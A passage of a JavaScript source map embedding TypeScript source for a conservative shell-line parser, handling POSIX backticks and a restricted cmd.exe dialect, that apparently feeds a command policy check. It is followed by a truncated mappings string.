a backtick substitution (cursor on the opening backtick); returns its source. */\n private parseBackticks(insideDoubleQuotes: boolean): string {\n const start = this.pos;\n let content = \"\";\n\n this.pos++;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unbalanced(\"A backtick substitution is never closed.\");\n }\n\n const char = this.peek();\n\n if (char === \"`\") {\n this.pos++;\n\n break;\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unbalanced(\"A backtick substitution is never closed.\");\n }\n\n if (next === \"`\" || next === \"\\\\\" || next === \"$\") {\n content += next;\n this.pos += 2;\n\n continue;\n }\n\n if (next === '\"' && insideDoubleQuotes) {\n throw unsupported(\n 'An escaped `\\\\\"` inside backticks inside double quotes is not portable; use `$(…)`.',\n );\n }\n\n content += char + next;\n this.pos += 2;\n\n continue;\n }\n\n content += char;\n this.pos++;\n }\n\n this.enterNesting();\n new PosixParser(content, this.state).parseNestedProgram();\n this.exitNesting();\n\n return this.src.slice(start, this.pos);\n }\n}\n\n/** Parser for the restricted `cmd.exe` dialect. */\nclass CmdParser {\n private pos = 0;\n\n public constructor(\n private readonly src: string,\n private readonly commands: ShellSimpleCommand[],\n ) {}\n\n public parseProgram(segments: ShellSegment[]): void {\n if (/[\\r\\n\\0]/.test(this.src)) {\n throw unsupported(\"Line breaks and NUL bytes are not supported in a cmd.exe command line.\");\n }\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n throw unsupported(\n segments.length === 0\n ? \"The command is empty.\"\n : \"The line ends with an operator but no command follows it.\",\n );\n }\n\n const start = this.pos;\n\n this.parsePipeline();\n\n const end = this.pos;\n\n this.skipBlanks();\n\n const operator = this.readListOperator();\n\n segments.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === null) {\n if (!this.atEnd()) {\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n\n return;\n }\n }\n }\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private skipBlanks(): void {\n while (this.peek() === \" \" || this.peek() === \"\\t\") {\n this.pos++;\n }\n }\n\n private readListOperator(): string | null {\n if (this.peek() === \"&\") {\n if (this.peek(1) === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n this.pos++;\n\n return \"&\";\n }\n\n if (this.peek() === \"|\" && this.peek(1) === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n return null;\n }\n\n private parsePipeline(): void {\n this.parseSimpleCommand();\n\n while (this.peek() === \"|\" && this.peek(1) !== \"|\") {\n this.pos++;\n this.skipBlanks();\n\n if (this.atEnd()) {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseSimpleCommand();\n }\n }\n\n private atRedirectStart(): boolean {\n const char = this.peek();\n\n if (char === \"<\" || char === \">\") {\n return true;\n }\n\n return /[0-9]/.test(char) && (this.peek(1) === \">\" || this.peek(1) === \"<\");\n }\n\n private parseSimpleCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd() || this.peek() === \"&\" || this.peek() === \"|\") {\n break;\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n command.words.push(word);\n\n if (command.words.length === 1) {\n this.checkCommandWord(word);\n }\n }\n\n if (command.words.length === 0 && command.redirects.length === 0) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.commands.push(command);\n }\n\n private checkCommandWord(word: ShellWord): void {\n if (word.raw.startsWith(\"@\") || word.raw.startsWith(\":\")) {\n throw unsupported(`\\`${word.raw}\\` is not supported as a cmd.exe command name.`);\n }\n\n if (/[/=]/.test(word.value)) {\n throw unsupported(\n `A cmd.exe command name may not contain \\`/\\` or \\`=\\` (\\`${word.value}\\`); use \\`\\\\\\` in paths.`,\n );\n }\n\n if (!word.quoted && CMD_RESERVED_WORDS.has(word.value.toLowerCase())) {\n throw unsupported(\n `\\`${word.value}\\` starts a cmd.exe compound command, which is not supported.`,\n );\n }\n }\n\n private parseRedirect(): ShellRedirect {\n let fd: number | undefined;\n\n if (/[0-9]/.test(this.peek())) {\n fd = Number(this.peek());\n this.pos++;\n }\n\n let op: string;\n\n if (this.src.startsWith(\">>\", this.pos)) {\n op = \">>\";\n } else if (this.src.startsWith(\">&\", this.pos)) {\n op = \">&\";\n } else if (this.src.startsWith(\"<&\", this.pos) || this.src.startsWith(\"<<\", this.pos)) {\n throw unsupported(\n `\\`${this.src.slice(this.pos, this.pos + 2)}\\` is not supported by cmd.exe.`,\n );\n } else {\n op = this.peek();\n }\n\n this.pos += op.length;\n this.skipBlanks();\n\n if (this.atEnd() || /[&|<>]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n if (op === \">&\") {\n if (!/^[0-9]$/.test(target.value)) {\n throw unsupported(`\\`>&${target.raw}\\` is not supported; write \\`> file 2>&1\\`.`);\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: op === \"<\" ? \"read\" : \"write\" };\n }\n\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \"<\" ||\n char === \">\"\n ) {\n break;\n }\n\n if (char === '\"') {\n const closing = this.src.indexOf('\"', this.pos + 1);\n\n if (closing === -1) {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n const inner = this.src.slice(this.pos + 1, closing);\n\n if (/[%!]/.test(inner)) {\n throw unsupported(\n \"`%` and `!` expand even inside quotes in cmd.exe; they are not supported.\",\n );\n }\n\n if (value.endsWith(\"\\\\\") || inner.endsWith(\"\\\\\")) {\n throw unsupported(\n 'A backslash before a `\"` is read differently by cmd.exe and programs.',\n );\n }\n\n value += inner;\n quoted = true;\n this.pos = closing + 1;\n\n continue;\n }\n\n if (\n char === \"%\" ||\n char === \"!\" ||\n char === \"^\" ||\n char === \"(\" ||\n char === \")\" ||\n char === \";\" ||\n char === \",\"\n ) {\n throw unsupported(\n `Unquoted \\`${char}\\` has a special meaning in cmd.exe and is not supported.`,\n );\n }\n\n if (char === \"\\\\\" && this.peek(1) === '\"') {\n throw unsupported('A backslash before a `\"` is read differently by cmd.exe and programs.');\n }\n\n if (char === \"*\" || char === \"?\") {\n dynamic = true;\n }\n\n value += char;\n this.pos++;\n }\n\n return { raw: this.src.slice(start, this.pos), value, dynamic, quoted };\n }\n}\n\n/**\n * Parse a command line for the shell policy. Never throws: a construct the\n * parser does not read with confidence comes back as `{ ok: false }` with a\n * message naming it.\n *\n * @example\n * const parsed = parseShellLine(\"git add -A && git commit -m 'wip'\", \"posix\");\n * // parsed.ok === true; parsed.commands.map((c) => c.words.map((w) => w.value))\n * // → [[\"git\", \"add\", \"-A\"], [\"git\", \"commit\", \"-m\", \"wip\"]]\n */\nexport function parseShellLine(line: string, dialect: ShellDialect): ShellParseResult {\n const segments: ShellSegment[] = [];\n\n try {\n if (dialect === \"cmd\") {\n const commands: ShellSimpleCommand[] = [];\n\n new CmdParser(line, commands).parseProgram(segments);\n\n return { ok: true, commands, segments, background: false };\n }\n\n const state: SharedState = { commands: [], background: false, nesting: 0 };\n\n new PosixParser(line, state).parseProgram(segments);\n\n return { ok: true, commands: state.commands, segments, background: state.background };\n } catch (error) {\n if (error instanceof ShellSyntaxRefusal) {\n return { ok: false, reason: error.reason, message: error.message };\n }\n\n throw error;\n }\n}\n"],"mappings":"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